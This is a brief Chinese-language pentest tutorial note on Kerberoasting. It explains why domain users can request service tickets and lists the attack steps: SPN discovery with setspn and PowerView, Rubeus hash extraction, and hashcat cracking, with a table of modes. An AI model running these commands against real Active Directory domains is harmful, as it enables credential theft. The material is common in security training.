# kerberoasting #### 攻击原理在第二部分中的TGS是`server hash`加密的，可以爆破服务账户的hash，而任何有效的**域用户**都可以请求任何域服务的 kerberos 票证（ST） #### 利用 * 发现spn ``` setspn -Q */* 或者powerivew Get-NetUser -SPN ```

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1673492396728.png) * 直接执行Rubeus获取hash ``` .\Rubeus.exe kerberoast /user:fileserver /nowrap ```

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1673494181227.png) * 到hashcat破解 ``` hashcat.exe -m 13100 spnhash.txt pwd.txt --force ```

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1673494360047.png) 注意： hashcat要使用正确的模式破解 | 模式 | 描述 | | ------- | ----------------------------------------------------- | | `13100` | Kerberos 5 TGS-REP etype 23 （RC4） | | `19600` | Kerberos 5 TGS-REP etype 17 （AES128-CTS-HMAC-SHA1-96） | | `19700` | Kerberos 5 TGS-REP etype 18 （AES256-CTS-HMAC-SHA1-96） |